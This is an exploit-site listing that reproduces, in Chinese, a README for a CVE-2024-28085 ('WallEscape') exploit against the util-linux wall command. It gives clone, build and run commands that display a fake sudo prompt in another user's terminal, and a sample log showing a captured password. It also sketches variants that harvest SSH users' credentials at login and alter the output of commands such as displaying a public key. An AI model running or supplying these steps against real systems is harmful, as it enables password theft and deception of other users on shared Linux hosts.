Sploitus

Exploit for CVE-2024-28085

kitploit · 2026-08-25

Exploit Code

MARKDOWN66 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SKYLER-FERRANTE-CVE-2024-28085
# Wall-Escape (CVE-2024-28085)

util-linux 的 wall 命令未对命令行参数中的转义序列进行过滤。该漏洞代码于 2013 年在提交 cdd3cc7fa4 中被引入。自此之后的所有版本均受影响。完整报告可在此处查看:报告。我将此漏洞命名为 "WallEscape"。

该利用代码已在 Ubuntu 22.04 默认配置下成功窃取密码。

## 配置

请确保 `throw.c` 中的背景颜色和用户名设置为适当的值。

## 构建与运行

攻击设置

root@kitploit:~
    
    
    git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
    ./build.sh
    ./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
    

我使用 `sudo systemctl start apache2` 是因为它运行时间短且输出不多。确保在利用执行后终止 spy 进程:`pkill spy`。

然后在另一个终端中

root@kitploit:~
    
    
    sudo su
    sudo systemctl start apache2
    

根据系统以及是否通过 SSH 本地访问,受害用户可能不一定需要调用 `su`。

这应该会导致在受害者终端中出现伪造的 sudo 提示符。由于许多系统会泄漏未找到的命令,受害者的密码可能会出现在 `proc.log` 中。

`proc.log` 示例

root@kitploit:~
    
    
    sudo systemctl start apache2
    systemctl start apache2
    ./throw
    bash
    /usr/bin/python3 /usr/lib/command-not-found -- Password123!
    /usr/bin/snap advise-snap --format=json --command Password123!
    

# 注意

有些人误解了在何种场景下可以利用此漏洞攻击其他用户。我们不需要攻击 sudo,可以在用户输入密码的任何地方进行攻击。在我系统上,用户通过 OpenSSH 登录后,会执行命令 `/usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new`。

对于从 OpenSSH 用户窃取密码的情况,假设运行以下命令:

root@kitploit:~
    
    
    ./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
    

然后我们可以在用户通过 SSH 成功登录后发送 "密码错误" 的消息。Sudo 只是我用来演示的命令,但实际上存在许多可能的目标。不难想象攻击者可以设置一个凭据收集器,来收集每个通过 SSH 登录的用户的凭据。即使是像 www-data 这样权限最低的用户也有可能实现。

此漏洞还允许攻击者更改任意命令的输出。想象一下,我们等待命令 `cat ~/.ssh/id_rsa.pub`,攻击者可以改变用户复制的公钥内容。在这种攻击方式中,我们不需要利用 "命令未找到" 的泄漏原语。